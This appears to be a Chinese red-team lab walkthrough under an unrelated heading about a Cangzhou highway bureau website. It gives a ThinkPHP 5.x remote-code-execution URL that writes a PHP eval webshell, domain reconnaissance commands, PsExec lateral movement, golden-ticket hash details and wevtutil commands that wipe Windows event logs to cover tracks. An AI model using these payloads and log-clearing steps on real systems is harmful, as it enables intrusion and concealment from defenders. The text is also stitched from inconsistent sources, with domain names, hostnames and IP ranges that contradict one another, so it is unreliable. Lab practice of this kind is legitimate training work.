沧州市高速公路建设管理局网站移动互联网软件开发与应用
环境搭建
靶场虚拟机共用两个，一个外网一个内网，用来练习红队相关内容和方向，主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习。
虚拟机密码
win7
sun\heart 123.com
sun\Administrator dc123.com
# win7 web需要打开C盘里的phpstudy，最好关一下防火墙
2008
sun\admin 2020.com
密码修改位：Xiaodi.com
Win7双网卡模拟内外网
VMnet2网卡：192.168.25.0/24 外网
VMnet10网卡：192.168.26.0/24 内网
设置网卡
设置win2008网络
设置win7网络
查看网段
Windows 2028
关闭防火墙
打开phpstudy设置访问网页
外网渗透
端口扫描
我们使用nmap进行扫描win7:
nmap -T4 -sC -sV 192.168.16.134
发现Web服务和Mysql：
Getshell
.我们访问80端口，发现是一个thinkphp
版本是ThinkPHP V5.0，既然是V5.0，那么我们就可以尝试一下Thinkphp远程命令执行漏洞
漏洞描述：由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造，该功能利用 $_POST['_method'] 来传递真实的请求方法。但由于框架没有对参数进行验证，导致攻击者可以设置 $_POST['_method']='__construct' 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名，当内部进行参数过滤时便会进行执行任意命令
使用kali的searchsploit查找一下漏洞利用POC：
searchsploit thinkphp
)发现最后一个是thinkphp5.X版本的RCE，我们进入该漏洞的文件46150.txt：
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt
写入webshell
http://192.168.16.134/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3B%3F%3E
攻入内网
域信息收集命令
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组（通常会有域用户）
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名（可能有多台）
上线cs
利用插件漏洞ms14-058进行权限提升
先判断是否存在域，使用 ipconfig /all 查看 DNS 服务器，发现主 DNS 后缀不为空，存在域sum.com，如下图所示
者也可以执行命令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
上面发现 DNS 服务器名为 sum.org，当前登录域为 GOD，那接下来可执行net view /domain查看有几个域（域环境可能存在多个域）：
既然只有一个域，那就利用 net group "domain controllers" /domain 命令查看域控制器主机名，直接确认域控主机的名称为 DC：
已经确认域控主机的名称为 OWA，继续执行命名net view查看查看局域网内其他主机信息（主机名称、IP地址），可得知域控主机的 IP 为 192.168.52.138，如下图所示：
局域网扫描出来除了域控主机之外还有另一台主机（名称为ROOT-TVI862UBEH），最后再确认一下该主机是否也是存在域中，故执行命令net group "domain computers" /domain 查看
查看域管理员
net group "domain admins" /domain
查看目标列表
新建smb监听器
横向移动
Psexec横向移动
成功上线
看到连接图
权限维持
黄金票据
搜集到，用户：Administrator，域：sun.com
SID：S-1-5-21-3388020223-1982701712-4030140183-500
Hash：Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
注入成功了
清理日志
使用wevtutil进行清除
ps:记住清除痕迹非常重要，某些环境下不清除容易被gangang
shell wevtutil cl security //清理安全日志
shell wevtutil cl system //清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" //清除power shell日志
shell wevtutil cl Setup //清除（cl）事件日志中的 "Setup" 事件。
